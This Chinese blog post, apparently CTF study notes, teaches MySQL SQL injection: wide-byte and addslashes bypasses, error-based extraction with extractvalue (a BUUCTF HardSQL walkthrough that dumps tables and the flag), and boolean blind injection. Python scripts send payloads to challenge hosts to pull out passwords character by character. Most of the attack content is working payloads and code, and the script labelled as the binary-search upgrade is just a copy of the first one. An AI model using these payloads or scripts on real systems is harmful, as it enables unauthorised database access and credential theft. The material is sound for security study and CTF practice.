开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第7天,点击查看活动详情
0x1、SQL 注入
/drop |dumpfile\b|INTO FILE|union select|or|and|union|select|'|"|outfile\b|load_file\b|multipoint(/i
变量拼接
addslashes($id)
id.' " ';
id.';
表名常用的符号
' " `
hex过后的值 闭合可能使用单引号,双引号,括号
一、有回显
宽字节注入
原理: GBK编码、URL转码 利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)
例如:' -> ' -> %5C%27
%df' -> %df' -> %df%5C%27
sql字符集特性
MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写, Ä = A, Ö = O, Ü = U 这三种条件都成立, 对于utf8_general_ci下面的等式成立:ß = s ,但是, 对于utf8_unicode_ci下面等式才成立:ß = ss 。 可以看到大写O和Ö是相等的
SQL注入常用URL编码
空格 %20 ' %27 # %23 \ %5C php-addslashes函数:在特殊字符前加上反斜线\来转义 如何从addslashes函数逃逸? \ 前面再加一个 \ ,变成 \' ,这样\就被转义了
sql =′ select1, 2, 3, fromxxxwhereid = " .
′
sql =′ select1, 2, 3, fromxxxwhereid =′ .
把\弄没
表名或列名可以使用16进制转码来实现 例如:ctf -> 0x637466 sqlmap中加参数 --hex 2、sqli-lab中部分题目
less-3和level-4
select * from * where id = ('$id') LIMIT 0,1 猜测后台语句
?id = 0')union select 1,2,3 payload
select * from * where id = ("$id") LIMIT 0,1 猜测后台语句
?id = 0')union select 1,2,3 payload
二、无回显(盲注)
1、报错注入
(使用前提是虽然没有回显,但是有报错显示,主要涉及xpath语法错误) 涉及关键词:
extractvalue、updatexml、floor
extractvalue函数 函数原型:extractvalue(xml_document,Xpath_string)
正常语法: extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档 对象的名称
第二个参数:Xpath_string是xpath格式的字符串 作用:从目标xml中返回包含所查询 值的字符串 第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报 错信息里,因此可以利用。
pyload:id='and(select extractvalue("anything",concat('~',(select语句))))
例如:
id='and(select extractvalue(1,concat('~',(select database()))))
id='and(select extractvalue(1,concat(0x7e,@@version)))
针对mysql数据库:
查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from
information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name)
from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME)
from TABLE_NAME))))
以buuctf的hardsql举例子:
# 猜测后台sql语句
update users set password='xxxx' where username="xxxx" and
pwd='202cb962ac59075b964b07152d234b70'
update users set password='xxxx' where
username=
"
admin"^(select(extractvalue(1,concat(0x7e,(select(database()))))))%23#" and
pwd=''
#爆库
^
(select(extractvalue(1,concat(0x7e,(select(database()))))))%23
# 爆表
^
(select(extractvalue(1,concat(0x7e,
(select(group_concat(table_name))from(information_schema.tables))))))
%23
^
(select(extractvalue(1,concat(0x7e,
(select(group_concat(table_name))from(information_schema.tables)WHERE((table_schema)li
ke('geek')))))))%23
# 爆列
^
(select(extractvalue(1,concat(0x7e,
(select(group_concat(column_name))from(information_schema.columns)WHERE((table_name)li
ke('H4rDsq1')))))))%23
# flag
^
(select(extractvalue(1,concat(0x7e,
(select(group_concat(password))from(H4rDsq1))))))%23
# flag{99de1004-039d-48de-8cbf-5d 只有一部分
# flag2 3a893e16a7} 用left()或者right函数爆出另外一部分
^
(select(extractvalue(1,concat(0x7e,
(select(group_concat(right(password,30)))from(H4rDsq1))))))%23
# flag{99de1004-039d-48de-8cbf-5d3a893e16a7}
2、bool注入
涉及关键词: xor、or、and、^、&、| 常规步骤(以异或举例)
# 爆库
1^(ascii(substr(database(),1,1))=97)
# 表
1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(
table
_
schema=database())),1,1))=97)
# 字段
1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)wher
e(table_name="F1naI1y")),1,1))=97)
# flag
1^(ascii(substr((select(group_concat(password))from(F1naI1y)),1,1))=97)
import requests
import string
import time
s = string.digits + string.ascii_lowercase + string.ascii_uppercase + '-' + '_' + '{' + '}' + '/' + ':'
print(s)
res = ''
url = 'http://6fe26771-015e-44ee-80b4-568faa962523.node4.buuoj.cn/search.php?id='
**for** i **in** range(1, 500):
**for** tmp **in** s:
*# payload = '1^(ascii(substr(database(),%d,1))=%d)'%(i,ord(tmp)) #substr被过滤可以用mid*
*# payload = '1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))=%d)' % (i, ord(tmp))*
*# payload = '1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="F1naI1y")),%d,1))=%d)' % (i, ord(tmp))*
payload = '1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))=%d)' % (i, ord(tmp))
r = requests.get(url + payload)
time.sleep(0.05)
**if** 'ERROR' **in** r.text:
*# print(i)*
res += tmp
*# print(tmp)*
**break**
print(res)
升级版(用了二分法)
import requests
import string
import time
s = string.digits + string.ascii_lowercase + string.ascii_uppercase + '-' + '_' + '{' + '}' + '/' + ':'
print(s)
res = ''
url = 'http://6fe26771-015e-44ee-80b4-568faa962523.node4.buuoj.cn/search.php?id='
**for** i **in** range(1, 500):
**for** tmp **in** s:
*# payload = '1^(ascii(substr(database(),%d,1))=%d)'%(i,ord(tmp)) #substr被过滤可以用mid*
*# payload = '1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))=%d)' % (i, ord(tmp))*
*# payload = '1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="F1naI1y")),%d,1))=%d)' % (i, ord(tmp))*
payload = '1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))=%d)' % (i, ord(tmp))
r = requests.get(url + payload)
time.sleep(0.05)
**if** 'ERROR' **in** r.text:
*# print(i)*
res += tmp
*# print(tmp)*
**break**
print(res)
例题:
<?php
highlight_file( **__FILE__** );
**$link** = mysqli_connect(
'localhost',
'ctf',
'ctf',
'ctf');
**if** (! **$link**) {
printf("Can't connect to MySQL Server. Errorcode: %s ", mysqli_connect_error());
**exit**;
}
**else**
{
**function** check( **$str**){
**if**(preg_match("/\^|\'|**\"** |>|<|=| |if|and|select|union|or|where|load|into|dump|\*|substr|regexp|left|right|ascii/", **$str**) || strlen( **$str**)>30){
**die**('hacker');
}}
**if**(**isset**( **$_POST**['uname'])&&**isset**( **$_POST**['passwd'])){
**$username**= **$_POST**['uname'];
**$password**= **$_POST**['passwd'];
check( **$username**);check( **$password**);
**$result** = mysqli_query( **$link**, 'SELECT * FROM userinfo2 WHERE uname="'. **$username** .'" and passwd="'. **$password**.'"');
**$row**=**null**;
**if**( **$result**){
**$row** = mysqli_fetch_assoc( **$result**);
}
**if**( **$row**!==**null**){
**echo** "login success";
**if**( **$row**['passwd']=== **$_POST**['passwd']){
**echo** file_get_contents('/flag');
}
}
}
}
**?>**
url="http://101.34.94.44:8012/index3.php"
import string
import requests
s=string.ascii_lowercase+string.digits
flag=''
**for** i **in** range(1,50):
print(i)
**for** j **in** s:
data={
'uname':'\\',
'passwd':'||mid(passwd,{0},1)like({1})#'.format(i,hex(ord(j)))}
*#print(data)*
r=requests.post(url,data=data)
**if** "</code>login success" **in** r.text:
flag+=j
print(flag)
**break**